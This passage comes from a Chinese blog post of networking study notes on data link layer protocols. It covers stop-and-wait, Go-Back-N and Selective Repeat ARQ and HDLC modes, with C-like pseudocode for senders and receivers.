href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"最简单的协议\"\u003e\u003c/a\u003e最简单的协议\u003c/h4\u003e\u003cp\u003e它没有流量控制、差错控制,且和其他协议一样是单向的:帧从发送方到接收方单向传输。\u003c/p\u003e\u003cp\u003e它是事件驱动型程序,发送方伪代码如下:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(RequestToSend)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e GetData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MakeFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SendFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接收方伪代码:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ReceiveData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ExtractData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e DeliverData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"停止等待协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%81%9C%E6%AD%A2%E7%AD%89%E5%BE%85%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"停止等待协议\"\u003e\u003c/a\u003e停止等待协议\u003c/h4\u003e\u003cp\u003e发送方发送一个帧后,必须得到ACK后才能继续发送下一个帧。此处数据帧还是单向的,除了ACK能反向通过。发送方算法如下(很简单,不用多说):\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e canSend=\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(RequesToSend) AND canSend){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e GetData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MakeFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SendFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e canSend=\u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ReceiveFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e canSend=\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接收方:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ReveiceFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ExtractData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e DeliverData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SendACKFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"有噪声通道\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%9C%89%E5%99%AA%E5%A3%B0%E9%80%9A%E9%81%93\" class=\"headerlink\" title=\"有噪声通道\"\u003e\u003c/a\u003e有噪声通道\u003c/h3\u003e\u003ch4 id=\"停止等待自动重复请求(Stop-and-Wait-ARQ)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%81%9C%E6%AD%A2%E7%AD%89%E5%BE%85%E8%87%AA%E5%8A%A8%E9%87%8D%E5%A4%8D%E8%AF%B7%E6%B1%82%EF%BC%88Stop-and-Wait-ARQ%EF%BC%89\" class=\"headerlink\" title=\"停止等待自动重复请求(Stop-and-Wait ARQ)\"\u003e\u003c/a\u003e停止等待自动重复请求(Stop-and-Wait ARQ)\u003c/h4\u003e\u003cp\u003e是在上面的停止等得协议加入了简单的差错控制。首先这个协议一次发送一个帧,所以相对简单。发送方发送一个帧后启动定时器,若没有收到ACK,则重发此帧。因此,帧需要编号来让双方知道应该重发哪个帧。另外,ACK帧也是帧,也会丢失。所以ACK帧也需要编号。\u003c/p\u003e\u003cp\u003e由于只有两个帧,所以序号使用0和1即可。接收方收到序列号后,返回当前数据序列号的取反。意思是可以接收下一个帧了。\u003c/p\u003e\u003cp\u003e数据发送失败,超时,发送方重发。\u003c/p\u003e\u003cp\u003eACK发送失败,超时,发送方重发,接收方检测到重复数据,抛弃,回复ACK。\u003c/p\u003e\u003cp\u003e发送方算法:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eSn=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecanSend=\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(RequestToSend) AND canSend){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eGetData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eMakeFrame(Sn);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eStoreFrame(Sn)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eStartTimer();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSn=Sn + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecanSend=\u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eReceiveFrame(ackNo);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(not corrputed AND ackNo == Sn){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eStopTimer();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePurgeFrame(Sn\u003cspan class=\"number\"\u003e-1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecanSend=\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(TimeOut)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eStartTimer();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eResendFrame(Sn\u003cspan class=\"number\"\u003e-1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接收方算法:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eRn=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eReceiveFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(corrupted(frame)) sleep();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(seqNo == Rn){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eExtractData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDeliverData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eRn = Rn + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSendFrame(Rn);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230524212730.png\"/\u003e\u003c/p\u003e\u003cp\u003e由上图可以看出,停止等待ARQ大量浪费了带宽;如果上面的协议中,我们能在发送了15帧后再停止等待,则利用率可以上升到$15000/20000$,即$75%$。同时,在停止等待ARQ中不存在流水线操作,因为单帧发送后存在阻塞操作。\u003c/p\u003e\u003ch4 id=\"回退N帧自动重发请求(Go-Back-N-ARQ)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%9B%9E%E9%80%80N%E5%B8%A7%E8%87%AA%E5%8A%A8%E9%87%8D%E5%8F%91%E8%AF%B7%E6%B1%82%EF%BC%88Go-Back-N-ARQ%EF%BC%89\" class=\"headerlink\" title=\"回退N帧自动重发请求(Go-Back-N ARQ)\"\u003e\u003c/a\u003e回退N帧自动重发请求(Go-Back-N ARQ)\u003c/h4\u003e\u003cp\u003e它是上面的协议应用了流水线原理的版本。最主要的改动就是序列号设计,以及滑动窗口。\u003c/p\u003e\u003cp\u003e假设帧头部允许序列号有$m$位,序列号范围就是0到$2^m-1$。\u003c/p\u003e\u003cp\u003e然后发送方开始发送数据,先发第一帧, 接收方收到,回传ACK1 ,这时有了一个叫做发送方窗口的东西:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230524213723.png\"/\u003e\u003c/p\u003e\u003cp\u003e如上图,帧有四部分:已确认的帧、发送但未确认的帧、能被发送但还没收到上层数据的帧、不能发送的帧(窗口大小以外的帧)。窗口大小在这个协议中是$S_{size}=2^m-1$。还有两个变量$S_f$和$S_n$,分别是第一个待处理的帧、下一个要发送的帧。\u003c/p\u003e\u003cp\u003e当收到确认帧时,发送窗口右划;一个ACK帧可以确认一个以上的帧,这加快了传输效率。但是当第一帧没有收到,之后收到的很多帧都需要作废重传,非常浪费时间。\u003c/p\u003e\u003ch4 id=\"利用率\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%88%A9%E7%94%A8%E7%8E%87\" class=\"headerlink\" title=\"利用率\"\u003e\u003c/a\u003e利用率\u003c/h4\u003e\u003cp\u003e各种ARQ协议的利用率计算是一个经常考察的点,其实答案基本很固定。首先是思路,ARQ协议利用率计算时,假设收发时间相等,然后计算所有发送的帧中,数据帧的占比即可得到。\u003c/p\u003e\u003cul\u003e\u003cli\u003e停止等待ARQ:发送一次接收一次:50%\u003c/li\u003e\u003cli\u003e回退N帧ARQ:发送N帧接收一次:(1/N+1)%\u003c/li\u003e\u003cli\u003e选择性重复ARQ:不知道)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"选择性重复ARQ(Selective-Repeat-ARQ)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E9%80%89%E6%8B%A9%E6%80%A7%E9%87%8D%E5%A4%8DARQ%EF%BC%88Selective-Repeat-ARQ%EF%BC%89\" class=\"headerlink\" title=\"选择性重复ARQ(Selective Repeat ARQ)\"\u003e\u003c/a\u003e选择性重复ARQ(Selective Repeat ARQ)\u003c/h4\u003e\u003cp\u003e可在一个帧被损坏时,不必重发N个帧。它主要是针对接收方的更改。\u003c/p\u003e\u003ch3 id=\"高级数据链路控制(HDLC)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E9%AB%98%E7%BA%A7%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E6%8E%A7%E5%88%B6%EF%BC%88HDLC%EF%BC%89\" class=\"headerlink\" title=\"高级数据链路控制(HDLC)\"\u003e\u003c/a\u003e高级数据链路控制(HDLC)\u003c/h3\u003e\u003cp\u003eHDLC(High-level Data Link Control)是一个实际应用的面向比特的数据链路协议,支持点到点链路和多点链路。具体实现了本章讨论的各种ARQ协议。具有两种通用传输模式:\u003c/p\u003e\u003cul\u003e\u003cli\u003en正常响应方式(Normal Response Mode,NRM)\u003c/li\u003e\u003cli\u003en异步平衡方式(Asynchronous Balanced Mode,ABM)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"Configurations-and-Transfer-Modes-配置和传输方式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Configurations-and-Transfer-Modes-%E9%85%8D%E7%BD%AE%E5%92%8C%E4%BC%A0%E8%BE%93%E6%96%B9%E5%BC%8F\" class=\"headerlink\" title=\"Configurations and Transfer Modes 配置和传输方式\"\u003e\u003c/a\u003eConfigurations and Transfer Modes 配置和传输方式\u003c/h4\u003e\u003cp\u003e配置方式有非平衡/平衡两种。第一种是主从配置方式,第二种是对等方式。\u003c/p\u003e\u003col\u003e\u003cli\u003e非平衡配置方式\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e主站与从站:一组结点根据在通信过程中的地位分为主站与从站,由主站来控制数据链路的工作过程。主站发出命令,从站接受命令,发出响应,配合主站工作。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e点对点方式与多点方式:分为点对点方式与多点方式两种类型,在多点方式的链路中,主站与每个从站之间分别建立数据链路。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e正常响应模式与异步响应模式:分为正常响应模式与异步响应模式两种数据传输方式。在正常响应模式中,主站可随时向从站传输数据帧。只有在主站向从站发送命令帧探询,从站响应后才可以向主站发送数据帧。在异步响应模式中,主站和从站可以随时相互传输数据帧,从站不需要等待主站发出探询就可以发送数据帧,但是主站仍然负责数据链路的初始化、建立、释放与差错恢复等功能。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003col 